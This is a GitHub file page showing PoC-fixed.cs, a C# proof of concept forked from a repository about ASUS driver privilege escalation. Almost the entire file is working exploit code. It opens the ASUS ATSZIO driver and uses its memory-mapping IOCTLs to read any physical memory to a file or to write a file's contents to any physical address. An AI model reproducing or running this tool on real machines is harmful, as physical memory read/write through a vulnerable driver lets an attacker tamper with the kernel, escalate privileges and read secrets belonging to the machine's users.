forked from BattlEar/AsusDriversPrivEscala
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPoC-fixed.cs
232 lines (213 loc) · 8.39 KB
/
PoC-fixed.cs
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
using System;
using System.ComponentModel;
using System.Globalization;
using System.IO;
using System.Runtime.InteropServices;
using Microsoft.Win32.SafeHandles;
public class AtszIO : IDisposable
{
public const uint IOCTL_MAPMEM = 0x8807200C;
public const uint IOCTL_UNMAPMEM = 0x88072010;
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern SafeFileHandle CreateFile(
string lpFileName,
[MarshalAs(UnmanagedType.U4)] FileAccess dwDesiredAccess,
[MarshalAs(UnmanagedType.U4)] FileShare dwShareMode,
IntPtr lpSecurityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode dwCreationDisposition,
[MarshalAs(UnmanagedType.U4)] FileAttributes dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool DeviceIoControl(
SafeFileHandle hDevice,
uint IoControlCode,
ref MapMemIoctl InBuffer,
int nInBufferSize,
ref MapMemIoctl OutBuffer,
int nOutBufferSize,
IntPtr pBytesReturned,
IntPtr Overlapped
);
[StructLayout(LayoutKind.Sequential)]
public unsafe struct MapMemIoctl
{
#if X64
public ulong CountOfBytes;
public long* Handle;
public ulong MapLength;
public ulong PhysicalAddress;
public byte* VirtualAddress;
#elif X84
public uint CountOfBytes;
public int* Handle;
public uint Length;
public ulong PhysicalAddress;
public byte* VirtualAddress;
#endif
public MapMemIoctl(SafeFileHandle atszio, ulong PhysicalAddress, uint Length)
{
this.CountOfBytes = 0;
this.Handle = null;
this.MapLength = Length;
this.PhysicalAddress = PhysicalAddress;
this.VirtualAddress = null;
// Fire the ioctl
Console.WriteLine("[*] Mapping 0x{0}-0x{1} into this process' address space...", PhysicalAddress.ToString("X"), (PhysicalAddress + Length).ToString("X"));
// Console.ReadLine();
if (!DeviceIoControl(atszio, IOCTL_MAPMEM, ref this, Marshal.SizeOf(typeof(MapMemIoctl)), ref this, Marshal.SizeOf(typeof(MapMemIoctl)), IntPtr.Zero, IntPtr.Zero))
{
throw new Win32Exception();
}
Console.WriteLine("[+] Mapped at 0x{0}", new IntPtr(this.VirtualAddress).ToInt64().ToString("X"));
}
}
private MapMemIoctl mm;
private SafeFileHandle atszio = null;
private bool ShouldDisposeOfAtszIO = false;
private bool HasBeenDisposed = false;
public uint Length
{
get
{
if (this.HasBeenDisposed) throw new ObjectDisposedException("ATSZIO");
return (uint)mm.MapLength;
}
}
public UnmanagedMemoryStream PhysicalMemoryBlock
{
get
{
// Console.ReadLine();
if (this.HasBeenDisposed) throw new ObjectDisposedException("ATSZIO");
unsafe
{
return new UnmanagedMemoryStream(mm.VirtualAddress, this.Length, this.Length, FileAccess.ReadWrite);
}
}
}
public AtszIO(ulong PhysicalAddress, uint Length) : this(null, PhysicalAddress, Length)
{
}
public AtszIO(SafeFileHandle atszio, ulong PhysicalAddress, uint Length)
{
if (atszio == null)
{
atszio = CreateFile("\\\\.\\ATSZIO", FileAccess.ReadWrite, FileShare.None,
IntPtr.Zero, FileMode.Create, FileAttributes.Temporary, IntPtr.Zero);
this.ShouldDisposeOfAtszIO = true;
}
this.atszio = atszio;
this.mm = new MapMemIoctl(atszio, PhysicalAddress, Length);
}
public void Dispose()
{
if (this.HasBeenDisposed) return;
unsafe
{
Console.WriteLine("[*] Unmapping 0x{0}-0x{1} (0x{2})...",
mm.PhysicalAddress.ToString("X"),
(mm.PhysicalAddress + Length).ToString("X"),
new IntPtr(mm.VirtualAddress).ToInt64().ToString("X")
);
}
try
{
// Console.ReadLine();
if (!DeviceIoControl(atszio, IOCTL_UNMAPMEM, ref mm, Marshal.SizeOf(typeof(MapMemIoctl)), ref mm, Marshal.SizeOf(typeof(MapMemIoctl)), IntPtr.Zero, IntPtr.Zero))
{
throw new Win32Exception();
}
Console.WriteLine("[+] Unmapped successfully");
}
finally
{
// dispose of the driver handle if needed
if (this.ShouldDisposeOfAtszIO) atszio.Dispose();
this.HasBeenDisposed = true;
}
}
~AtszIO()
{
this.Dispose();
}
}
class atsz
{
public static bool TryParseDecAndHex(string value, out ulong result)
{
if ((value.Length > 2) && (value.Substring(0, 2) == "0x")) return ulong.TryParse(value.Substring(2), NumberStyles.AllowHexSpecifier, CultureInfo.InvariantCulture, out result);
return ulong.TryParse(value, out result);
}
public static void Usage()
{
Console.WriteLine("[*] Usage: {0} <read/write> <address> <length/file>", Path.GetFileName(System.Reflection.Assembly.GetEntryAssembly().Location));
Console.WriteLine("[*] address: starting physical address to read/write, can be decimal or hex, for hex, start with 0x");
Console.WriteLine("[*] length: size of memory to read, can be decimal or hex, for hex, start with 0x");
Console.WriteLine("[*] file: file whose contents will be written at <address>");
}
public static void Read(ulong PhysicalAddress, ulong Length)
{
uint IterationSize = (IntPtr.Size == 8 ? (uint)0x10000000 : (uint)0x1000000);
using (SafeFileHandle atszio = AtszIO.CreateFile("\\\\.\\ATSZIO", FileAccess.ReadWrite,
FileShare.None, IntPtr.Zero, FileMode.Create, FileAttributes.Temporary, IntPtr.Zero))
using (FileStream stream = new FileStream("" + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin", FileMode.Create))
{
for (; Length > 0; Length -= IterationSize, PhysicalAddress += IterationSize)
{
using (AtszIO mapper = new AtszIO(atszio, PhysicalAddress, (Length > IterationSize ? IterationSize : (uint)(Length & 0xffffffff))))
{
Console.WriteLine("[+] Reading block of memory...");
mapper.PhysicalMemoryBlock.CopyTo(stream);
}
if (Length <= IterationSize) break;
}
}
Console.WriteLine("[+] Read successful: " + (PhysicalAddress.ToString("X")) + "-" + ((PhysicalAddress + Length).ToString("X")) + ".bin");
}
public static void Write(ulong PhysicalAddress, string Filename)
{
using (FileStream stream = new FileStream(Filename, FileMode.Open))
using (AtszIO mapper = new AtszIO(PhysicalAddress, (uint)stream.Length))
{
Console.WriteLine("[+] Writing block of memory...");
stream.CopyTo(mapper.PhysicalMemoryBlock);
}
}
public static void Main(string[] args)
{
Console.WriteLine("[*] ASUS ATSZIO (ATSZIO/ATSZIO64): PoC for Physical Memory Read/Write function");
Console.WriteLine("[*] PoC by himeix - https://github.com/LimiQS");
if (args.Length < 3)
{
Usage();
return;
}
ulong PhysicalAddress, Length;
switch (args[0])
{
case "read":
case "-read":
case "--read":
if ((!TryParseDecAndHex(args[1], out PhysicalAddress)) || (!TryParseDecAndHex(args[2], out Length)))
{
Usage();
return;
}
Read(PhysicalAddress, Length);
break;
case "write":
case "-write":
case "--write":
if (!TryParseDecAndHex(args[1], out PhysicalAddress))
{
Usage();
return;
}
Write(PhysicalAddress, args[2]);
break;
default:
Usage();
break;
}
}
}